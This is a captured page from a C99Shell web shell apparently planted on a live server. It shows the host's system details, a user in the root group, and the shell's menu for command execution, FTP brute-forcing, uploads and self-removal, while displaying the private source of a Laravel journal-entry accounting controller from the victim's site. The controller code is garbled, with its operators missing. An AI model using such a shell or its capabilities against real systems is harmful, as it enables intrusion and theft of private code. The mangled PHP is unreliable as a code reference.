!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JournalEntryController.php (14.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\BankAccount;
use 
App\Models\ChartOfAccount;
use 
App\Models\JournalEntry;
use 
App\Models\JournalItem;
use 
App\Models\TransactionLines;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;

class 
JournalEntryController extends Controller
{

    public function 
index()
    {
        if (
\Auth::user()->can('manage journal entry')) {
            
$journalEntries JournalEntry::where('created_by''='\Auth::user()->creatorId())->get();

            return 
view('journalEntry.index'compact('journalEntries'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {
        if (
\Auth::user()->can('create journal entry')) {
            
$chartAccounts ChartOfAccount::select(\DB::raw('CONCAT(chart_of_accounts.code, " - ", chart_of_accounts.name) AS code_name,chart_of_accounts.id, chart_of_accounts.code,  chart_of_accounts.parent'))
                ->
where('parent''='0)
                ->
where('created_by'\Auth::user()->creatorId())->get()
                ->
toarray();

            
$subAccounts ChartOfAccount::select(\DB::raw('CONCAT(chart_of_accounts.code, " - ", chart_of_accounts.name) AS code_name , chart_of_accounts.id, chart_of_accounts.code , chart_of_account_parents.account'));
            
$subAccounts->leftjoin('chart_of_account_parents''chart_of_accounts.parent''chart_of_account_parents.id');
            
$subAccounts->where('chart_of_accounts.parent''!='0);
            
$subAccounts->where('chart_of_accounts.created_by'\Auth::user()->creatorId());
            
$subAccounts $subAccounts->get()->toArray();

            
$journalId $this->journalNumber();

            return 
view('journalEntry.create'compact('chartAccounts''subAccounts''journalId'));
        } else {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
store(Request $request)
    {

        if (
\Auth::user()->can('create invoice')) {
            
$validator \Validator::make(
                
$request->all(), [
                    
'date' => 'required',
                    
'accounts' => 'required',
                ]
            );
            if (
$validator->fails()) {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$accounts $request->accounts;

            
$totalDebit 0;
            
$totalCredit 0;
            for (
$i 0$i count($accounts); $i++) {
                
$debit = isset($accounts[$i]['debit']) ? $accounts[$i]['debit'] : 0;
                
$credit = isset($accounts[$i]['credit']) ? $accounts[$i]['credit'] : 0;
                
$totalDebit += $debit;
                
$totalCredit += $credit;
            }
            
// $totalDebit += $debit;

            
if ($totalCredit != $totalDebit) {
                return 
redirect()->back()->with('error'__('Debit and Credit must be Equal.'));
            }

            
$journal = new JournalEntry();
            
$journal->journal_id $this->journalNumber();
            
$journal->date $request->date;
            
$journal->reference $request->reference;
            
$journal->description $request->description;
            
$journal->created_by \Auth::user()->creatorId();
            
$journal->save();

            for (
$i 0$i count($accounts); $i++) {
                
$journalItem = new JournalItem();
                
$journalItem->journal $journal->id;
                
$journalItem->account $accounts[$i]['account'];
                
$journalItem->description $accounts[$i]['description'];
                
$journalItem->debit = isset($accounts[$i]['debit']) ? $accounts[$i]['debit'] : 0;
                
$journalItem->credit = isset($accounts[$i]['credit']) ? $accounts[$i]['credit'] : 0;
                
$journalItem->save();

                
$bankAccounts BankAccount::where('chart_account_id''='$accounts[$i]['account'])->get();
                if (!empty(
$bankAccounts)) {
                    foreach (
$bankAccounts as $bankAccount) {
                        
$old_balance $bankAccount->opening_balance;
                        if (
$journalItem->debit 0) {
                            
$new_balance $old_balance $journalItem->debit;
                        }
                        if (
$journalItem->credit 0) {
                            
$new_balance $old_balance $journalItem->credit;
                        }
                        if (isset(
$new_balance)) {
                            
$bankAccount->opening_balance $new_balance;
                            
$bankAccount->save();
                        }
                    }
                }
                if (isset(
$accounts[$i]['debit'])) {
                    
$data = [
                        
'account_id' => $accounts[$i]['account'],
                        
'transaction_type' => 'Debit',
                        
'transaction_amount' => $accounts[$i]['debit'],
                        
'reference' => 'Journal',
                        
'reference_id' => $journal->id,
                        
'reference_sub_id' => $journalItem->id,
                        
'date' => $journal->date,
                    ];
                } else {
                    
$data = [
                        
'account_id' => $accounts[$i]['account'],
                        
'transaction_type' => 'Credit',
                        
'transaction_amount' => $accounts[$i]['credit'],
                        
'reference' => 'Journal',
                        
'reference_id' => $journal->id,
                        
'reference_sub_id' => $journalItem->id,
                        
'date' => $journal->date,
                    ];
                }
                
Utility::addTransactionLines($data);
            }

            return 
redirect()->route('journal-entry.index')->with('success'__('Journal entry successfully created.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
show(JournalEntry $journalEntry)
    {
        if (
\Auth::user()->can('show journal entry')) {
            if (
$journalEntry->created_by == \Auth::user()->creatorId()) {
                
$accounts $journalEntry->accounts;
                
$settings Utility::settings();

                return 
view('journalEntry.view'compact('journalEntry''accounts''settings'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
edit(JournalEntry $journalEntry)
    {
        if (
\Auth::user()->can('edit journal entry')) {
            
$chartAccounts ChartOfAccount::select(\DB::raw('CONCAT(chart_of_accounts.code, " - ", chart_of_accounts.name) AS code_name,chart_of_accounts.id, chart_of_accounts.code,  chart_of_accounts.parent'))
                ->
where('parent''='0)
                ->
where('created_by'\Auth::user()->creatorId())->get()
                ->
toarray();

            
$subAccounts ChartOfAccount::select(\DB::raw('CONCAT(chart_of_accounts.code, " - ", chart_of_accounts.name) AS code_name , chart_of_accounts.id, chart_of_accounts.code , chart_of_account_parents.account'));
            
$subAccounts->leftjoin('chart_of_account_parents''chart_of_accounts.parent''chart_of_account_parents.id');
            
$subAccounts->where('chart_of_accounts.parent''!='0);
            
$subAccounts->where('chart_of_accounts.created_by'\Auth::user()->creatorId());
            
$subAccounts $subAccounts->get()->toArray();

            return 
view('journalEntry.edit'compact('chartAccounts''journalEntry' 'subAccounts'));
        } else {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
update(Request $requestJournalEntry $journalEntry)
    {
        if (
\Auth::user()->can('edit journal entry')) {
            if (
$journalEntry->created_by == \Auth::user()->creatorId()) {
                
$validator \Validator::make(
                    
$request->all(), [
                        
'date' => 'required',
                        
'accounts' => 'required',
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$accounts $request->accounts;

                
$totalDebit 0;
                
$totalCredit 0;
                for (
$i 0$i count($accounts); $i++) {
                    
$debit = isset($accounts[$i]['debit']) ? $accounts[$i]['debit'] : 0;
                    
$credit = isset($accounts[$i]['credit']) ? $accounts[$i]['credit'] : 0;
                    
$totalDebit += $debit;
                    
$totalCredit += $credit;
                }

                if (
$totalCredit != $totalDebit) {
                    return 
redirect()->back()->with('error'__('Debit and Credit must be Equal.'));
                }

                
$journalEntry->date $request->date;
                
$journalEntry->reference $request->reference;
                
$journalEntry->description $request->description;
                
$journalEntry->created_by \Auth::user()->creatorId();
                
$journalEntry->save();

                for (
$i 0$i count($accounts); $i++) {
                    
$journalItem JournalItem::find($accounts[$i]['id']);

                    if (
$journalItem == null) {
                        
$journalItem = new JournalItem();
                        
$journalItem->journal $journalEntry->id;
                    }

                    if (isset(
$accounts[$i]['account'])) {
                        
$journalItem->account $accounts[$i]['account'];
                    }

                    
$journalItem->description $accounts[$i]['description'];
                    
$journalItem->debit = isset($accounts[$i]['debit']) ? $accounts[$i]['debit'] : 0;
                    
$journalItem->credit = isset($accounts[$i]['credit']) ? $accounts[$i]['credit'] : 0;
                    
$journalItem->save();

                    
$bankAccounts BankAccount::where('chart_account_id''='$accounts[$i]['account'])->get();
                    if (!empty(
$bankAccounts)) {
                        foreach (
$bankAccounts as $bankAccount) {
                            
$old_balance $bankAccount->opening_balance;
                            if (
$journalItem->debit 0) {
                                
$new_balance $old_balance $journalItem->debit;
                            }
                            if (
$journalItem->credit 0) {
                                
$new_balance $old_balance $journalItem->credit;
                            }
                            if (isset(
$new_balance)) {
                                
$bankAccount->opening_balance $new_balance;
                                
$bankAccount->save();
                            }
                        }
                    }

                    if (isset(
$accounts[$i]['debit'])) {
                        
$data = [
                            
'account_id' => $accounts[$i]['account'],
                            
'transaction_type' => 'Debit',
                            
'transaction_amount' => $accounts[$i]['debit'],
                            
'reference' => 'Journal',
                            
'reference_id' => $journalEntry->id,
                            
'reference_sub_id' => $journalItem->id,
                            
'date' => $journalEntry->date,
                        ];
                    } else {
                        
$data = [
                            
'account_id' => $accounts[$i]['account'],
                            
'transaction_type' => 'Credit',
                            
'transaction_amount' => $accounts[$i]['credit'],
                            
'reference' => 'Journal',
                            
'reference_id' => $journalEntry->id,
                            
'reference_sub_id' => $journalItem->id,
                            
'date' => $journalEntry->date,
                        ];
                    }
                    
Utility::addTransactionLines($data);
                }

                return 
redirect()->route('journal-entry.index')->with('success'__('Journal entry successfully updated.'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(JournalEntry $journalEntry)
    {

        if (
\Auth::user()->can('delete journal entry')) {
            if (
$journalEntry->created_by == \Auth::user()->creatorId()) {
                
$journalEntry->delete();

                
JournalItem::where('journal''='$journalEntry->id)->delete();

                
TransactionLines::where('reference_id'$journalEntry->id)->where('reference''Journal')->delete();

                return 
redirect()->route('journal-entry.index')->with('success'__('Journal entry successfully deleted.'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
journalNumber()
    {
        
$latest JournalEntry::where('created_by''='\Auth::user()->creatorId())->latest()->first();
        if (!
$latest) {
            return 
1;
        }

        return 
$latest->journal_id 1;
    }

    public function 
accountDestroy(Request $request)
    {

        if (
\Auth::user()->can('delete journal entry')) {
            
JournalItem::where('id''='$request->id)->delete();

            return 
redirect()->back()->with('success'__('Journal entry account successfully deleted.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
journalDestroy($item_id)
    {
        if (
\Auth::user()->can('delete journal entry')) {
            
$journal JournalItem::find($item_id);
            
$journal->delete();

            return 
redirect()->back()->with('success'__('Journal account successfully deleted.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--